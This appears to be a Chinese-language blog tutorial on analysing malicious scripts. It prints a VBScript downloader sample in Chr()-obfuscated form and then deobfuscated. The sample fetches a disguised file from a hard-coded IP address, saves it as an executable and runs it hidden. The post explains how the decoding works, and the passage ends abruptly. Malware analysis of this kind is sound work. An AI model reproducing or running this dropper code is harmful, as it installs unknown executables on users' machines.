脚本代码大全 脚本类恶意程序分析技巧汇总
吾爱上面找的一个样本，评论区虽然有分析结果，但是并没有解密过程，贴上代码
on error resume next
set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))
Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))
xPost.Open Chr(71)+Chr(69)+Chr(84),Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+"222.73.45.135:19999/rc/zj/gx"+Chr(46)+Chr(106)+Chr(112)+Chr(103),Chr(48)
xPost.Send()
Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))
sGet.Mode = Chr(51)
sGet.Type = Chr(49)
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "ccom"+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)
oshell.RUN "ccom"+Chr(46)+Chr(101)+Chr(120)+Chr(101),vbhide这个样本实际上的利用了Chr函数的特性来混淆分析者，我们可疑拷贝第一句vbs代码，然后修改为下图
直接将混淆的代码弹出，改后缀为vbs，运行
就能直接看到未被混淆的代码，利用这种方法可以轻松解密整个文件，解密后代码如下：
on error resume next
set oshell = wscript.createobject (Wscript.shell)
Set xPost = CreateObject(Microsoft.XMLHTTP)
xPost.Open GET,http://222.73.45.135:19999/rc/zj/gx.jpg,0
xPost.Send()
Set sGet = CreateObject(ADODB.Stream)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "ccom.exe",2
oshell.RUN "ccom.exe",vbhide可以看到这实际上是一个下载者，目的是从网页中下载一个exe。
这个是最简单的混淆，实际上vbs代码的混淆还会用到很多函数，比如replace()，split()等等，但是只要了解函数及其参数的含义，并把结果输出，就能解决大部分的混淆代码。
vbs病毒实战分析样本来源
下面我们实际分析一个vbs样本，样本来源自吾爱破解：，已经有大神分析过了脚本代码大全，我就偷个懒，跟着大佬的结果分析吧
